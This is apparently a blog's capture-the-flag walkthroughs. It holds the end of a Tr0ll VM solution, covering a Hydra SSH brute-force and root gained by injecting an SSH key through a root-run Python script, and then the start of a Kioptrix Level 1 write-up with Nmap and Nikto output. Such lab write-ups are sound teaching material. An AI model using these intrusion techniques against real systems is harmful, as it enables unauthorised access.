With limited services running on this box I’m hoping that “sup3rs3cr3tdirlol” or “sup3rs3cr3t” is a web directory since I’m not really seeing any other options at the moment. So I try /sup3rs3cr3tdirlol as this is really my only move at this point. Fingers crossed and BOOM!, I’ve got something. This is when the little tingling feeling starts filling up my stomach.
Awesome, that worked and now I’ve got a file called “roflmao”. Let me check this out.
[email protected]:~/Desktop# file roflmao roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0e42145e99e559aa4908f5c259d983044fcfd2f3, not stripped
Ok so it’s a 32-bit ELF file. Let me see what else I can find out about it.
[email protected]:~/Desktop/Troll# readelf -h roflmao ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2’s complement, little endian Version: 1 (current) OS/ABI: UNIX – System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048320 Start of program headers: 52 (bytes into file) Start of section headers: 4428 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 40 (bytes) Number of section headers: 30 Section header string table index: 27
Everything looks pretty normal in the file and I don’t see anything slapping me in the face so it’s time to run “roflmao” and find out what it does.
My immediate thought is that 0x0856BF is a memory address which starts making me sweat. Like all the great hackers before me whenever I get stuck, I stop and ask myself. What would Zero Cool do? Lol, actually I would never think that but it does make for a better story doesn’t it?
My actual thought is this. What’s the simplest solution? What do I know so far about this system? What do I know about how Maleus thinks so far? And my subconscious whispers “directory” which makes sense since it’s clear that Maleus likes using obscure directories as we’ve already seen.
Hacker Pro Tip: Don’t over complicate things. Remember KISS? This type of thinking has saved me more times than I can remember. Plus I’m always looking for shortest distance to an objective since I’m lazy. So why not try “0x0856BF” as a web directory since it will literally take 4 seconds.
So I go for the long shot and try /0x0856BF. Awesome, it is and more stuff is revealed. Two directories.
The first is /good_luck and the second is /this_folder_contains_the_password. I check out the first folder and find this text file.
/0x0856BF/good_luck/which_one_lol.txt
Which contains the following.
maleus ps-aux felux Eagle11 genphlux < — Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflow
So these look like user names so now I check out the second one. The second folder contains this file.
Since FTP seems to be setup for anonymous access only I’m going to focus on SSH for the time being. I’m going to use Hydra to automate logging in with these accounts and “Good_job_:)” as the password.
So after several attempts I begin to get banned.
I’m not sure about the timeout since I control the VM. I keep on rebooting the VM and trying again but it’s the same story again and again. The only good thing was that after numerous failed attempts I started looking into Hydra parameters more than I have before and learned quite a bit more about better ways to use it which I know will serve me better in the future.
After trying all the accounts with “Good_job_:)” and getting no luck I stop and take a break to clear my head. I’m clearly missing something. After some time away I come back and go through everything again to see what I’ve missed. Knowing myself it’s probably some small detail that I’ve overlooked. I start looking at things a little more closely to see if I could come up with a few more passwords to try. That’s where reading the folder gave me the idea for two more password choices so my password list became this.
Pass Pass.txt
After trial and error and numerous more reboots I finally get a match for “overflow” and “Pass.txt”. Sweet!
Gaining Access:
Shell – Here I come.
As soon as I start looking around I get this message and I’m booted.
Connection to 192.168.2.40 closed by remote host. Connection to 192.168.2.40 closed.
Ok so it looks like my session is being timed out. I log back in and do a quick run through for any files that catch my eye.
$ cd /var/tmp $ ls -al total 12 drwxrwxrwt 2 root root 4096 Sep 2 12:17 . drwxr-xr-x 12 root root 4096 Aug 10 03:56 .. -rwxrwxrwx 1 root root 34 Aug 13 01:16 cleaner.py.swp Looking at the swp file I see it refers to cleaner.py as you’d think but doesn’t provide any other information.
Even though overflow is a low level user I do a “find / -name cleaner.py” anyway to save some time.
Ok so the very last line shows us that cleaner.py is located in /lib/log/ and a “ls -al” shows it’s owned by root. This could be good.
Knowing that root owns this file and seeing os.system I know what my next move is going to be. I’m going to have os.system echo my ssh key into the authorized_keys for root. I’ve never actually done this all in a single line but it should work (at least in theory).
So here’s what cleaner.py ends up looking like. (I’ve shorten my key to save space but you get the point.)
Now I save the file and wait for it to be kicked off. What’s interesting is that when trying to save my changes in VI it comes up with a permissions error since I’m logged in as “overflow”. But when using “cat” I can see that my changes have been saved. Sweet luck for me! After being disconnected it’s time to try to login as root.
And success!! I’m logged into Tr0ll as root. Then I looked to see if there is any type of flag.
This is a walkthrough for Kioptrix Level 1. Although getting root on this box is pretty straightforward it’s a great place for those looking to get their feet wet when it comes to boot2root VM’s. I actually suggest this as a starting place rather than something like Metasploitable2, which is almost overwhelming with it’s list of vulnerabilities.The Kioptrix Level 1 VM can be downloaded from http://vulnhub.com/entry/kioptrix-level-1-1,22/
Footprinting:
After loading up the VM I used netdiscover -r to find it’s IP address which was 192.168.2.90
Scanning:
Now it’s time to use Nmap to grab info about what ports and services are available.
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-13 11:42 EDT
Nmap scan report for 192.168.2.90
Host is up (0.00069s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T08:32:06+00:00
|_Not valid after: 2010-09-26T08:32:06+00:00
|_ssl-date: 2014-08-13T19:43:04+00:00; +3h59m58s from local time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
32768/tcp open status 1 (RPC #100024)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
MAC Address: 08:00:27:C4:86:B7 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC: (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.69 ms 192.168.2.90
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.77 seconds
The first thing I noticed is that most of these services are pretty out dated which is good news. The second thing that grabs my attention is the version of Apache that is being run. There are clearly several different services running that may provide a foothold into the box but I decided to stick with Apache since it caught my eye. I fire up Iceweasel and find a default looking Apache page running on the webserver. Now to run Nikto to see what kind of information it can gather about the webserver.
Enumeration:
[email protected]:~# nikto -h 192.168.2.90
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.2.90
+ Target Hostname: 192.168.2.90
+ Target Port: 80
+ Start Time: 2014-08-13 11:44:28 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users).
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 7355 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2014-08-13 11:44:53 (GMT-4) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
